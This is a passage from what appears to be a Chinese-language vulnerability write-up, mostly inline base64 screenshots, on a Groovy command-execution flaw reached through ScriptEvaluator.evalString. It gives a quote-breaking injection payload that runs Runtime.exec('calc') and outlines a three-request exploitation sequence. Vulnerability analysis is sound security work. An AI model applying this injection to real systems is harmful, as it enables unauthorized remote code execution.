<p blockindex=25><img src=data:image/png;base64,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
|
|||
|
|
<p blockindex=26>调用<code>ScriptEvaluator.getInstance().evalString(constDefine, context)</code>。使用<code>"</code>进行包裹,进而调用了<code>this.eval()</code></p>
|
|||
|
|
<p blockindex=27><img src=data:image/png;base64,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
|
|||
|
|
<p blockindex=28>最后就进入到<code>Groovy</code>命令执行漏洞利用点。</p>
|
|||
|
|
<p blockindex=29><img src="data:image/png;base64,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
|
|||
|
|
<p blockindex=30>在<code>ScriptEvaluator.getInstance().evalString(constDefine, context)</code> 执行这里面会通过<code>"</code>把<code>scriptText</code>包裹起来,如果直接传入<code>java.lang.Runtime.getRuntime().exec(\"calc\");</code>会报错,可指定<code>constType=3</code>,也可通过如下方式进行拼接即可绕过。</p>
|
|||
|
|
<pre blockindex=31><code class="hljs language-php"><span class=hljs-string>"+"</span>java.lang.Runtime.getRuntime().exec(<span class=hljs-string>"calc"</span>);<span class=hljs-comment>//$a\"</span>
|
|||
|
|
</code></pre>
|
|||
|
|
<p blockindex=32>这里漏洞的利用,需要提交3次请求,第一次请求需要随机指定一个<code>constKey</code>和<code>constDefine</code>进行提交。</p>
|
|||
|
|
<p blockindex=33>如果不指定直接提交会提示<code>{"error":"操作异常操作失败, 常量引用不存在"}</code>。</p>
|
|||
|
|
<p blockindex=34><img src="data:image/png;base64,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